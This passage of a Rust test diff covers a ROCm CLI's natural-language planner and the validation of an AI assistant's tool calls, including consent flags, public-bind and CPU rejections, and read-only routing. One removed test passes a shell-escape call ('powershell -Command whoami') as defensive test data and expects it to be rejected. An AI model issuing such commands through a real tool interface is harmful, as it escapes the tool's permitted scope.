"--device".to_owned(), + "gpu_required".to_owned(), + "--managed".to_owned(), + ] ); + } - let logs = providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["comfyui", "logs"] - }), - }; - validate_chat_tool_call(&logs).expect("ComfyUI logs should validate"); - assert!(chat_tool_call_is_read_only(&logs)); + #[test] + fn freeform_invocation_supports_leading_yes_for_natural_language_only() { + let invocation = parse_freeform_invocation(&[ + "--yes".to_owned(), + "please".to_owned(), + "serve".to_owned(), + "qwen3.5".to_owned(), + "with".to_owned(), + "vllm".to_owned(), + ]); + + assert!(invocation.approve); + assert!(should_treat_as_freeform(&invocation)); assert_eq!( - rocm_chat_tool_requested_command(&logs).as_deref(), - Some("rocm comfyui logs") + invocation.request_args, + vec![ + "please".to_owned(), + "serve".to_owned(), + "qwen3.5".to_owned(), + "with".to_owned(), + "vllm".to_owned(), + ] ); - let cpu = providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["serve", "tiny.gguf", "--engine", "vllm", "--device", "cpu"] - }), - }; - let error = validate_chat_tool_call(&cpu).unwrap_err().to_string(); - assert!(error.contains("CPU execution")); + let structured = parse_freeform_invocation(&[ + "--yes".to_owned(), + "install".to_owned(), + "sdk".to_owned(), + "--dry-run".to_owned(), + ]); + assert!(structured.approve); + assert!(!treat_as_natural_language(&structured.request_args)); + assert!(!should_treat_as_freeform(&structured)); + } - let public_flag = providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["serve", "tiny.gguf", "--engine", "vllm", "--allow-public-bind", "--managed"] - }), - }; - let error = validate_chat_tool_call(&public_flag) - .unwrap_err() - .to_string(); - assert!(error.contains("public network binding")); + #[test] + fn freeform_invocation_rejects_unquoted_structured_command_names_after_yes() { + let invalid_install = parse_freeform_invocation(&[ + "--yes".to_owned(), + "install".to_owned(), + "sdk".to_owned(), + "--bad-flag".to_owned(), + ]); + let invalid_serve = parse_freeform_invocation(&[ + "--yes".to_owned(), + "serve".to_owned(), + "qwen3.5".to_owned(), + "with".to_owned(), + "vllm".to_owned(), + ]); - let foreground = providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["serve", "qwen", "--engine", "vllm", "--foreground"] - }), - }; - let error = validate_chat_tool_call(&foreground) - .unwrap_err() - .to_string(); - assert!(error.contains("--managed")); + assert!(!should_treat_as_freeform(&invalid_install)); + assert!(!should_treat_as_freeform(&invalid_serve)); + } - let shell = providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["powershell", "-Command", "whoami"] - }), - }; - let error = validate_chat_tool_call(&shell).unwrap_err().to_string(); - assert!(error.contains("unsupported rocm command")); + #[test] + fn freeform_invocation_rejects_flag_shaped_yes_request() { + let help = parse_freeform_invocation(&["--yes".to_owned(), "--help".to_owned()]); + let bad_flag = parse_freeform_invocation(&["--yes".to_owned(), "--bad-flag".to_owned()]); + + assert!(!should_treat_as_freeform(&help)); + assert!(!should_treat_as_freeform(&bad_flag)); } #[test] - fn assistant_read_only_rocm_commands_do_not_fallback_to_child_process() { - let (_root, paths) = test_paths("readonly-rocm-in-process-only"); - let args = vec!["services".to_owned(), "status".to_owned()]; + fn freeform_execution_validation_rejects_placeholder_tool_calls() { + let action = freeform_plan_next_action("serve", &RocmCliConfig::default()) + .expect("serve request should have next action"); - let error = run_rocm_command_for_paths(&paths, &args, Duration::from_secs(1)) + let error = validate_freeform_execution_action(&action) .unwrap_err() .to_string(); - assert!(error.contains("read-only assistant command is not implemented in-process")); - assert!(error.contains("rocm services status")); - assert!(!paths.data_dir.join("logs").exists()); + assert!(action.has_placeholders); + assert!(error.contains("placeholder values")); + assert!(error.contains("rocm serve ")); } #[test] - fn internal_mcp_read_only_rocm_command_runs_in_process() { - let (_root, paths) = test_paths("mcp-readonly-rocm-in-process"); - - let result = run_internal_mcp_call( - &paths, - "rocm_command", - serde_json::json!({ "args": ["version"] }), - false, - ) - .expect("read-only rocm mcp-call should run"); + fn freeform_execution_validation_accepts_fully_structured_tool_call() -> Result<()> { + let action = + freeform_plan_next_action("serve qwen3.5 with vllm", &RocmCliConfig::default()) + .expect("serve request should have next action"); + validate_freeform_execution_action(&action)?; assert_eq!( - result.get("isError").and_then(serde_json::Value::as_bool), - Some(false) + format_structured_tool_call("rocm", &action.args), + "rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" + ); + Ok(()) + } + + #[test] + fn freeform_execution_grants_the_narrow_consent_the_outer_yes_already_gave() { + // `rocm --yes ` dispatches the generated argv **in process**, so + // nothing carries the outer `--yes` into `install()` unless this does. + // Without it the surface prints `approval: granted by --yes` and then + // either refuses non-interactively, asking for a flag it offers no way to + // pass, or prompts on a terminal it just said it would not need to ask. + let request = + "install the latest TheRock nightly for this GPU into D:\\ROCm\\therock_venvs"; + let config = RocmCliConfig::default(); + + let planned = freeform_plan_next_action(request, &config) + .expect("install request should have next action"); + assert!( + !planned + .args + .iter() + .any(|arg| arg.starts_with("--yes") || arg.starts_with("--approve-")), + "the plan itself must stay unapproved so `rocm ` shows a \ + reviewable command: {:?}", + planned.args ); + + // Through the real pre-dispatch path, not the injector in isolation: + // `execute_freeform_next_action` is this plus the header render and + // `dispatch`, so dropping the injection from the pipeline fails here. + let execution = prepare_freeform_execution(request, &test_app_paths(), &config) + .expect("install request should prepare for execution"); + let action = &execution.action; + assert_eq!( - result - .pointer("/structuredContent/argv/0") - .and_then(serde_json::Value::as_str), - Some("rocm") + format_structured_tool_call("rocm", &action.args), + "rocm install sdk --channel nightly --format wheel --prefix \ + D:\\ROCm\\therock_venvs --approve-replacing-active-default" ); - assert!(mcp_tool_result_text(&result).contains(env!("CARGO_PKG_VERSION"))); + // The narrow flag, never `--yes`: this surface has no terminal promise to + // make about a sudo password prompt for system packages. + assert!(!action.args.iter().any(|arg| arg == "--yes")); + // The header renders after injection, so the printed tool call is the + // argv that actually runs. + let rendered = render_freeform_execution_header(&execution); + assert!(rendered.contains("--approve-replacing-active-default")); + // And the operator is told why this `tool_call:` carries a consent flag + // the `request plan` section above it did not show. The plan assertion at + // the top of this test is what makes the two lines differ here, so the + // disclosure and the difference are pinned by the same test. + assert!( + execution.consent_added, + "the plan arrived unapproved, so the injector must report adding the flag" + ); + assert!( + rendered.contains("was added here from your --yes"), + "the execution section must explain the differing tool_call: {rendered}" + ); + // Re-parsing must reach `install()` with the consent actually set. + let mut argv = vec!["rocm".to_owned()]; + argv.extend(execution.action.args); + let cli = Cli::try_parse_from(argv).expect("generated argv should parse"); + match cli.command { + Some(Command::Install { + target: + InstallTarget::Sdk { + yes, + approve_replacing_active_default, + .. + }, + }) => { + assert!(approve_replacing_active_default); + assert!(!yes); + } + other => panic!("expected `install sdk`, got {other:?}"), + } } #[test] - fn natural_language_plan_returns_structured_mutating_action() { - let (_root, paths) = test_paths("nl-plan-structured-mutating"); + fn freeform_execution_consent_is_scoped_to_mutating_sdk_installs() { + // Dry runs return before the consent gate, and the sibling dry-run-aware + // arms in chat, rocmd and dash-tui all withhold the flag there. + let mut dry_run = vec![ + "install".to_owned(), + "sdk".to_owned(), + "--dry-run".to_owned(), + ]; + assert!(!apply_freeform_execution_consent(&mut dry_run)); + assert_eq!( + dry_run, + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--dry-run".to_owned() + ] + ); - let result = run_internal_mcp_call( - &paths, - "natural_language_plan", - serde_json::json!({ - "request": "install TheRock into /opt/rocm-target" - }), - false, - ) - .expect("natural_language_plan should plan the request"); + // Nothing else the planner can emit takes this flag; injecting it would + // not even parse. + for mut args in [ + vec!["install".to_owned(), "driver".to_owned()], + vec!["serve".to_owned(), "qwen".to_owned()], + vec!["comfyui".to_owned(), "install".to_owned()], + ] { + let before = args.clone(); + assert!(!apply_freeform_execution_consent(&mut args)); + assert_eq!(args, before); + } + // Idempotent: a plan that already carries the flag is not given it twice, + // and reports that it added nothing — the execution section must not + // claim to have added a flag the argv arrived with. + let mut already = vec![ + "install".to_owned(), + "sdk".to_owned(), + "--approve-replacing-active-default".to_owned(), + ]; + assert!(!apply_freeform_execution_consent(&mut already)); assert_eq!( - result.get("isError").and_then(serde_json::Value::as_bool), - Some(false) + already + .iter() + .filter(|arg| *arg == "--approve-replacing-active-default") + .count(), + 1 ); - // text (rendered plan) preserved. + } + + #[test] + fn freeform_execution_header_surfaces_explicit_approval_and_tool_call() { + let action = + freeform_plan_next_action("serve qwen3.5 with vllm", &RocmCliConfig::default()) + .expect("serve request should have next action"); + let rendered = render_freeform_execution_header(&FreeformExecution { + action, + consent_added: false, + }); + + assert!(rendered.contains("execution")); + assert!(rendered.contains("approval: granted by --yes")); + assert!(rendered.contains( + "tool_call: rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" + )); + // Nothing was injected on this path, so the two `tool_call:` lines agree + // and the disclosure would be noise that contradicts the plan above. assert!( - !result - .pointer("/structuredContent/text") - .and_then(serde_json::Value::as_str) - .unwrap_or_default() - .trim() - .is_empty() + !rendered.contains("was added here"), + "the note must be scoped to an argv this surface actually changed: {rendered}" ); - // A known install folder yields a mutating, placeholder-free action. - assert_eq!( - result - .pointer("/structuredContent/action/approval_required") - .and_then(serde_json::Value::as_bool), - Some(true) + } + + #[test] + fn hybrid_planner_driver_action_includes_yes_for_approved_execution() { + let plan = build_freeform_plan( + "install the linux driver with dkms", + &RocmCliConfig::default(), ); + let action = plan + .actions + .iter() + .find(|action| action.title == "Install driver") + .expect("driver plan should include install action"); + + assert_eq!(plan.intent, PlannerIntent::InstallDriver); assert_eq!( - result - .pointer("/structuredContent/action/has_placeholders") - .and_then(serde_json::Value::as_bool), - Some(false) + action.args, + vec![ + "install".to_owned(), + "driver".to_owned(), + "--dkms".to_owned(), + "--yes".to_owned(), + ] ); - let args = result - .pointer("/structuredContent/action/args") - .and_then(serde_json::Value::as_array) - .expect("action args should be present"); - assert!(args.iter().any(|arg| arg.as_str() == Some("install"))); - assert!(args.iter().any(|arg| arg.as_str() == Some("--prefix"))); } #[test] - fn natural_language_plan_returns_placeholder_action_when_incomplete() { - let (_root, paths) = test_paths("nl-plan-structured-placeholder"); + fn hybrid_planner_unknown_request_is_read_only_inspection() { + let plan = build_freeform_plan("what is installed here", &RocmCliConfig::default()); + + assert_eq!(plan.intent, PlannerIntent::Inspect); + assert!( + plan.actions + .iter() + .all(|action| action.approval == "not required") + ); + assert!( + plan.actions + .iter() + .all(|action| action.args == vec!["examine".to_owned()]) + ); + } + + #[test] + fn hybrid_planner_routes_common_status_questions_to_read_only_inspection() { + for prompt in [ + "is rocm installed?", + "which gpu is on my machine?", + "where is therock installed?", + ] { + let plan = build_freeform_plan(prompt, &RocmCliConfig::default()); + + assert_eq!(plan.intent, PlannerIntent::Inspect, "{prompt}"); + assert_eq!(plan.approval, "not required for inspection", "{prompt}"); + assert_eq!(plan.actions.len(), 1, "{prompt}"); + assert_eq!(plan.actions[0].approval, "not required", "{prompt}"); + assert_eq!(plan.actions[0].args, vec!["examine".to_owned()], "{prompt}"); + } + } + + #[test] + fn hybrid_planner_routes_comfyui_help_and_actions() { + let status = build_freeform_plan("how do i setup comfyui", &RocmCliConfig::default()); + assert_eq!(status.intent, PlannerIntent::Inspect); + assert_eq!(status.approval, "not required for inspection"); + assert_eq!( + status.actions[0].args, + vec!["comfyui".to_owned(), "status".to_owned()] + ); + assert_eq!(status.actions[0].approval, "not required"); - let result = run_internal_mcp_call( - &paths, - "natural_language_plan", - serde_json::json!({ "request": "serve" }), - false, - ) - .expect("natural_language_plan should plan the request"); + let install = + build_freeform_plan("can you setup comfyui for me", &RocmCliConfig::default()); + assert_eq!(install.approval, "required before installing ComfyUI"); + assert_eq!( + install.actions[0].args, + vec!["comfyui".to_owned(), "install".to_owned()] + ); + assert_eq!(install.actions[0].approval, "required"); + let start = build_freeform_plan("can you start comfyui", &RocmCliConfig::default()); + assert_eq!(start.approval, "required before launch"); assert_eq!( - result - .pointer("/structuredContent/action/has_placeholders") - .and_then(serde_json::Value::as_bool), - Some(true) + start.actions[0].args, + vec!["comfyui".to_owned(), "start".to_owned()] ); + assert_eq!(start.actions[0].approval, "required"); } #[test] - fn setup_status_renders_in_process() { - let (_root, paths) = test_paths("setup-status-in-process"); + fn hybrid_planner_casual_request_has_no_rocm_action() { + let plan = build_freeform_plan("hi", &RocmCliConfig::default()); - for args in [ - vec!["setup".to_owned()], - vec!["setup".to_owned(), "status".to_owned()], - ] { - let text = run_rocm_read_only_in_process(&paths, &args) - .expect("setup status read path should render in-process"); - assert!( - !text.trim().is_empty(), - "setup status text should be non-empty for {args:?}" - ); - assert!( - text.contains("ROCm setup"), - "setup status text should be reached for {args:?}: {text}" - ); - } + assert_eq!(plan.intent, PlannerIntent::Ask); + assert!(plan.actions.is_empty()); + assert!( + plan.notes + .iter() + .any(|note| note.contains("No ROCm action")) + ); } #[test] - fn chat_tool_call_rejects_bad_service_and_watcher_suggestions() { - for (call, expected) in [ - ( - providers::ChatToolCall { - id: None, - name: "service_logs".to_owned(), - arguments: serde_json::json!({ "service_id": "bad/name" }), - }, - "must not contain path separators", - ), - ( - providers::ChatToolCall { - id: None, - name: "automations".to_owned(), - arguments: serde_json::json!({ "event_limit": 1000 }), - }, - "between 1 and 64", - ), - ( - providers::ChatToolCall { - id: None, - name: "watcher_enable".to_owned(), - arguments: serde_json::json!({ - "watcher": "unknown", - "mode": "propose" - }), - }, - "unknown watcher", - ), - ( - providers::ChatToolCall { - id: None, - name: "watcher_disable".to_owned(), - arguments: serde_json::json!({ - "watcher": "server-recover", - "mode": "propose" - }), - }, - "cannot set `mode`", - ), - ] { - let error = validate_chat_tool_call(&call).unwrap_err().to_string(); - assert!(error.contains(expected), "unexpected error: {error}"); - } + fn close_subcommand_typo_yields_clap_suggestion() { + let err = command_invocation_error(&["instal".to_owned()]) + .expect("a close typo should surface a clap subcommand suggestion"); + let message = err.to_string(); + assert_eq!(err.kind(), clap::error::ErrorKind::InvalidSubcommand); + assert!(message.contains("install")); } #[test] - fn chat_tool_call_rejects_cpu_and_public_bind_server_requests() { - let cpu = providers::ChatToolCall { - id: None, - name: "launch_server".to_owned(), - arguments: serde_json::json!({ - "model": "tiny.gguf", - "engine": "vllm", - "device": "cpu" - }), - }; - let error = validate_chat_tool_call(&cpu).unwrap_err().to_string(); - assert!(error.contains("CPU execution")); - - let public = providers::ChatToolCall { - id: None, - name: "launch_server".to_owned(), - arguments: serde_json::json!({ - "model": "tiny.gguf", - "engine": "vllm", - "host": "0.0.0.0", - "allow_public_bind": true - }), - }; - let error = validate_chat_tool_call(&public).unwrap_err().to_string(); - assert!(error.contains("public network binding")); - - let host = providers::ChatToolCall { - id: None, - name: "launch_server".to_owned(), - arguments: serde_json::json!({ - "model": "tiny.gguf", - "engine": "vllm", - "host": "0.0.0.0" - }), - }; - let error = validate_chat_tool_call(&host).unwrap_err().to_string(); - assert!(error.contains("non-local host")); + fn mistyped_command_with_flags_yields_clap_error() { + // `doctorgdfg --help` is a botched command invocation, not prose, so it + // should surface clap's usage error rather than a planner request plan. + let err = command_invocation_error(&["doctorgdfg".to_owned(), "--help".to_owned()]) + .expect("a command-like token followed by a flag should yield a clap error"); + assert_eq!(err.kind(), clap::error::ErrorKind::InvalidSubcommand); + assert!(err.to_string().contains("doctorgdfg")); } #[test] - fn chat_tool_call_rejects_bad_install_suggestions() { - for (arguments, expected) in [ - ( - serde_json::json!({ "channel": "stable" }), - "unsupported TheRock channel", - ), - ( - serde_json::json!({ "format": "zip" }), - "unsupported TheRock install format", - ), - ( - serde_json::json!({ - "prefix": if cfg!(windows) { "C:\\Windows\\rocm" } else { "/opt/rocm" } - }), - "system install folder", - ), - ( - serde_json::json!({ - "version": "7.13.0a20260605", - "build_date": "2026-06-05" - }), - "both `version` and `build_date`", - ), - ( - serde_json::json!({ "build_date": "not-a-date" }), - "build date", - ), - ( - serde_json::json!({ - "format": "tarball", - "build_date": "2026-06-05" - }), - if cfg!(windows) { - "tarball` installs on Windows" - } else { - "specific TheRock wheel versions" - }, - ), - ] { - let call = providers::ChatToolCall { - id: None, - name: "install_sdk".to_owned(), - arguments, - }; - let error = validate_chat_tool_call(&call).unwrap_err().to_string(); - assert!(error.contains(expected), "unexpected error: {error}"); - } + fn mistyped_command_with_trailing_argument_yields_suggestion() { + // A near-miss subcommand followed by a normal (non-flag) argument should + // still surface clap's suggestion instead of falling to the planner. + let err = command_invocation_error(&["automatios".to_owned(), "list".to_owned()]) + .expect("a near-miss subcommand with a trailing arg should yield a clap suggestion"); + assert_eq!(err.kind(), clap::error::ErrorKind::InvalidSubcommand); + assert!(err.to_string().contains("automations")); } - /// Guard: every read-only tool the dash side registers must have a home in - /// the bin's accept-list. A name-only tool (the `doctor` regression caught - /// in review) would otherwise fail end-to-end as "unsupported ROCm tool" - /// while passing the dash-side, name-against-itself completeness checks. - /// - /// We assert the NAME is accepted — not that empty args validate — so the - /// check stays hermetic (no real `BinToolExecutor::execute` / live I/O) and - /// independent of each tool's argument schema. #[test] - fn read_tool_names_are_subset_of_bin_accept_list() { - for name in rocm_dash_tui::agent::ROCM_READ_TOOL_NAMES { - let call = providers::ChatToolCall { - id: None, - name: name.to_owned(), - arguments: serde_json::json!({}), - }; - if let Err(error) = validate_chat_tool_call(&call) { - let message = error.to_string(); - assert!( - !message.contains("unsupported ROCm tool"), - "ROCM_READ_TOOL_NAMES advertises `{name}` but the bin rejects \ - the name as unsupported: {message}" - ); - } - } + fn natural_language_request_has_no_subcommand_suggestion() { + // Multi-word prose requests stay with the planner. + assert!(command_invocation_error(&["please".to_owned(), "install".to_owned()]).is_none()); + // A single token with no near match is left for the planner too. + assert!(command_invocation_error(&["zzzzzzzz".to_owned()]).is_none()); + // Prose that happens to be a single quoted argument is not command-like. + assert!(command_invocation_error(&["please install rocm".to_owned()]).is_none()); + // A single quoted prose request that clap can fuzzily match to a + // subcommand (`is rocm installed?` -> `install`) must still reach the + // planner rather than exiting with clap's suggestion. + assert!(command_invocation_error(&["is rocm installed?".to_owned()]).is_none()); + assert!(command_invocation_error(&["how do i setup comfyui".to_owned()]).is_none()); } #[test] - fn chat_tool_call_refusal_prioritizes_safe_review_wording() -> Result<()> { - let mut output = String::new(); - let (_root, paths) = test_paths("chat-tool-refusal"); - let response = providers::ChatResponse { - provider: "local".to_owned(), - model: "tiny.gguf".to_owned(), - content: "I can install ROCm.".to_owned(), - tool_calls: vec![providers::ChatToolCall { - id: None, - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ - "channel": "release", - "format": "wheel", - "prefix": "D:\\ROCm\\therock_venvs" - }), - }], - }; - - let mut progress = None; - append_chat_tool_results( - &paths, - &response, - &mut output, - Some("I can install ROCm."), - &mut progress, - )?; + fn render_freeform_plan_exposes_structured_tool_calls() { + let (_root, paths) = test_paths("hybrid-render"); + let rendered = + render_freeform_plan("serve qwen3.5 with vllm", &paths, &RocmCliConfig::default()); - assert!(output.contains("Install ROCm: needs your review")); - assert!(!output.contains("install_sdk: approval required")); - assert!(output.contains("not run: review the approval card before anything runs")); - assert!(output.contains("advanced manual command: rocm install sdk")); - assert!(!output.contains("run the shown ROCm command")); - Ok(()) + assert!(rendered.contains("planner: hybrid-parser-v1")); + assert!(rendered.contains("tool_schema: rocm-tools-v0")); + assert!(rendered.contains( + "tool_call: rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" + )); + assert!(rendered.contains( + "next_tool_call: rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" + )); + assert!(rendered.contains("next_tool_approval: required")); + assert!(rendered.contains("approval: required")); } #[test] - fn fallback_tool_call_runs_model_support_checks() { - let call = - fallback_rocm_tool_call_for_prompt("Which LLMs can this machine support?").unwrap(); - assert_eq!(call.name, "rocm_command"); - assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), - vec!["model".to_owned()] - ); + fn provider_planner_response_reduces_to_validated_rocm_tool_call() -> Result<()> { + let content = r#"{ + "intent": "serve", + "confidence": "high", + "tool_call": { + "tool": "rocm", + "args": ["serve", "sshleifer/tiny-gpt2", "--engine", "vllm", "--device", "gpu_required", "--managed"] + }, + "notes": ["resolved the missing model to a tiny test model"] + }"#; - assert!(fallback_rocm_tool_call_for_prompt("Which LLM are you using?").is_none()); - } + let plan = provider_planner_response_to_plan("start a local model", "local", content)?; - #[test] - fn local_rocm_tools_chat_uses_fixed_lemonade_qwen_assistant() { + assert!(plan.provider_assisted); + assert!(plan.planner.contains("provider:local")); + assert_eq!(plan.intent, PlannerIntent::Serve); + assert_eq!(plan.confidence, "high"); + assert_eq!(plan.actions[0].approval, "required"); assert_eq!( - local_rocm_tools_assistant_model("local", true), - Some(providers::BUILTIN_ASSISTANT_MODEL_ID) + plan.actions[0].args, + vec![ + "serve".to_owned(), + "sshleifer/tiny-gpt2".to_owned(), + "--engine".to_owned(), + "vllm".to_owned(), + "--device".to_owned(), + "gpu_required".to_owned(), + "--managed".to_owned(), + ] ); - assert_eq!(local_rocm_tools_assistant_model("local", false), None); - assert_eq!(local_rocm_tools_assistant_model("openai", true), None); + assert!( + plan.notes + .iter() + .any(|note| note.contains("validated rocm tool call")) + ); + Ok(()) } #[test] - fn fallback_tool_call_routes_running_questions_to_status_tools() { - let comfy = fallback_rocm_tool_call_for_prompt("Is ComfyUI running?").unwrap(); - assert_eq!(comfy.name, "rocm_command"); - assert_eq!( - normalized_chat_rocm_command_args(&comfy).unwrap(), - vec!["comfyui".to_owned(), "status".to_owned()] - ); - assert!(chat_tool_call_is_read_only(&comfy)); - - let comfy_port = - fallback_rocm_tool_call_for_prompt("Is ComfyUI running on port 8188?").unwrap(); - assert_eq!(comfy_port.name, "rocm_command"); - assert_eq!( - normalized_chat_rocm_command_args(&comfy_port).unwrap(), - vec!["comfyui".to_owned(), "status".to_owned()] - ); - assert!(chat_tool_call_is_read_only(&comfy_port)); - - for prompt in [ - "Is vLLM running?", - "is lemonade running?", - "is the model server running?", - "is qwen running?", + fn provider_planner_rejects_public_bind_requests() { + for content in [ + r#"{ + "intent": "serve", + "tool_call": { + "tool": "rocm", + "args": ["serve", "tiny.gguf", "--engine", "vllm", "--allow-public-bind", "--managed"] + } + }"#, + r#"{ + "intent": "serve", + "tool_call": { + "tool": "rocm", + "args": ["serve", "tiny.gguf", "--engine", "vllm", "--host", "0.0.0.0", "--managed"] + } + }"#, ] { - let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); - assert_eq!(call.name, "rocm_command", "{prompt}"); - assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), - vec!["services".to_owned(), "list".to_owned(), "--all".to_owned(),], - "{prompt}" + let error = provider_planner_response_to_plan("serve publicly", "local", content) + .unwrap_err() + .to_string(); + + assert!( + error.contains("public network binding") || error.contains("non-local host"), + "unexpected error: {error}" ); - assert!(chat_tool_call_is_read_only(&call), "{prompt}"); } - - let port = fallback_rocm_tool_call_for_prompt("what is running on port 8188?").unwrap(); - assert_eq!(port.name, "port_status"); - assert_eq!( - port.arguments, - serde_json::json!({ "host": DEFAULT_LOCAL_HOST, "port": 8188 }) - ); - assert!(chat_tool_call_is_read_only(&port)); } #[test] - fn fallback_tool_call_routes_engine_install_state_to_engines_list() { - for prompt in ["is vLLM installed?", "is Lemonade available?"] { - let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); - assert_eq!(call.name, "rocm_command", "{prompt}"); - assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), - vec!["engines".to_owned(), "list".to_owned()], - "{prompt}" - ); - assert!(chat_tool_call_is_read_only(&call), "{prompt}"); + fn provider_planner_requires_managed_serve_requests() { + for args in [ + vec!["serve", "qwen", "--engine", "vllm"], + vec!["serve", "qwen", "--engine", "vllm", "--foreground"], + ] { + let call = ProviderPlannerToolCall { + tool: "rocm".to_owned(), + args: args.into_iter().map(str::to_owned).collect(), + }; + let error = validate_provider_planner_tool_call(&call) + .unwrap_err() + .to_string(); + + assert!(error.contains("--managed"), "unexpected error: {error}"); } } #[test] - fn supplemental_tool_call_adds_missing_specific_status_check() { - let generic_services = providers::ChatToolCall { - id: Some("model-picked-services".to_owned()), - name: "services".to_owned(), - arguments: serde_json::json!({}), + fn provider_planner_requires_user_folder_for_therock_install() { + let call = ProviderPlannerToolCall { + tool: "rocm".to_owned(), + args: vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + ], }; + let error = validate_provider_planner_tool_call(&call) + .unwrap_err() + .to_string(); - let call = - supplemental_read_only_tool_call_for_prompt("Is ComfyUI running?", &[generic_services]) - .unwrap(); - - assert_eq!(call.name, "rocm_command"); - assert_eq!( - normalized_chat_rocm_command_args(&call).unwrap(), - vec!["comfyui".to_owned(), "status".to_owned()] - ); - assert!(chat_tool_call_is_read_only(&call)); + assert!(error.contains("ask the user"), "unexpected error: {error}"); } #[test] - fn supplemental_tool_call_does_not_duplicate_equivalent_status_check() { - let comfy_status = fallback_rocm_tool_call_for_prompt("Is ComfyUI running?").unwrap(); + fn provider_planner_response_rejects_cpu_serve_device() { + for args in [ + vec![ + "serve", + "sshleifer/tiny-gpt2", + "--engine", + "vllm", + "--device", + "cpu", + "--managed", + ], + vec![ + "serve", + "sshleifer/tiny-gpt2", + "--engine", + "vllm", + "--device=cpu", + "--managed", + ], + vec![ + "serve", + "sshleifer/tiny-gpt2", + "--engine", + "vllm", + "--device", + "cpu_only", + "--managed", + ], + ] { + let call = ProviderPlannerToolCall { + tool: "rocm".to_owned(), + args: args.into_iter().map(str::to_owned).collect(), + }; + let error = validate_provider_planner_tool_call(&call) + .unwrap_err() + .to_string(); - assert!( - supplemental_read_only_tool_call_for_prompt("Is ComfyUI running?", &[comfy_status]) - .is_none() - ); + assert!(error.contains("CPU execution")); + assert!(error.contains("ROCm GPU execution")); + } } #[test] - fn supplemental_tool_call_adds_running_state_for_engine_install_question() { - let engine_inventory = - fallback_rocm_tool_call_for_prompt("Is vLLM installed and is it running?").unwrap(); + fn chat_tool_call_mutating_install_maps_to_reviewable_rocm_command() { + let call = providers::ChatToolCall { + id: Some("call-1".to_owned()), + name: "install_sdk".to_owned(), + arguments: serde_json::json!({ + "channel": "release", + "format": "wheel", + "prefix": "D:\\ROCm\\therock_venvs" + }), + }; + + assert!(!chat_tool_call_is_read_only(&call)); + validate_chat_tool_call(&call).expect("install request should validate for review"); assert_eq!( - normalized_chat_rocm_command_args(&engine_inventory).unwrap(), - vec!["engines".to_owned(), "list".to_owned()] + rocm_chat_tool_requested_command(&call).as_deref(), + Some( + "rocm install sdk --channel release --format wheel --approve-replacing-active-default --prefix D:\\ROCm\\therock_venvs" + ) ); - - let services = supplemental_read_only_tool_call_for_prompt( - "Is vLLM installed and is it running?", - &[engine_inventory], + let approval = chat_tool_approval_request( + &call, + Some("TheRock is not installed yet, so I need to install ROCm first."), ) - .unwrap(); - - assert_eq!(services.name, "rocm_command"); + .expect("approval should be built"); + assert_eq!(approval.pending_title, "Install ROCm"); + assert_eq!(approval.command_title, "Install"); assert_eq!( - normalized_chat_rocm_command_args(&services).unwrap(), - vec!["services".to_owned(), "list".to_owned(), "--all".to_owned()] + approval.explanation.as_deref(), + Some("TheRock is not installed yet, so I need to install ROCm first.") + ); + assert_eq!( + approval.args, + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--approve-replacing-active-default".to_owned(), + "--prefix".to_owned(), + "D:\\ROCm\\therock_venvs".to_owned(), + ] ); - assert!(chat_tool_call_is_read_only(&services)); } #[test] - fn supplemental_tool_call_treats_loopback_port_checks_as_equivalent() { - let model_port_check = providers::ChatToolCall { - id: Some("model-picked-port".to_owned()), - name: "port_status".to_owned(), - arguments: serde_json::json!({ "host": "localhost", "port": 8188 }), + fn chat_install_sdk_strips_model_supplied_yes_and_skips_consent_on_dry_run() { + // `rocm_command` carries a model-supplied argv that nothing else filters, + // so `--yes` can arrive here. This arm exists to grant the narrow consent + // only; letting `--yes` through would re-grant the system-package/sudo + // consent on a spawn with no terminal to answer a password prompt. + let classify = |args: &[&str]| -> Vec { + let action = chat_rocm_command_action_from_args( + args.iter().copied().map(str::to_owned).collect(), + ) + .expect("install sdk should classify"); + let ChatRocmCommandAction::Approval { args, .. } = action else { + panic!("install sdk is a mutating command"); + }; + args }; - assert!( - supplemental_read_only_tool_call_for_prompt( - "what is running on port 8188?", - &[model_port_check] - ) - .is_none() + assert_eq!( + classify(&["install", "sdk", "--prefix", "/tmp/therock", "--yes"]), + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--prefix".to_owned(), + "/tmp/therock".to_owned(), + "--approve-replacing-active-default".to_owned(), + ] ); - } - #[test] - fn fallback_tool_call_runs_status_checks() { - for prompt in [ - "Which GPU is on my machine, and is ROCm installed?", - "Is TheRock setup on my machine?", - "Check this ROCm setup.", - ] { - let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); - assert_eq!(call.name, "examine"); - assert_eq!(call.arguments, serde_json::json!({})); - } - } + // A dry run returns before the consent gate, so it is not given a consent + // it never uses — matching the dry-run-aware sibling arms. + assert_eq!( + classify(&["install", "sdk", "--prefix", "/tmp/therock", "--dry-run"]), + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--prefix".to_owned(), + "/tmp/therock".to_owned(), + "--dry-run".to_owned(), + ] + ); - #[test] - fn fallback_tool_call_routes_therock_setup_to_install_folder_flow() { - let call = fallback_rocm_tool_call_for_prompt("How do I setup TheRock?").unwrap(); - assert_eq!(call.name, 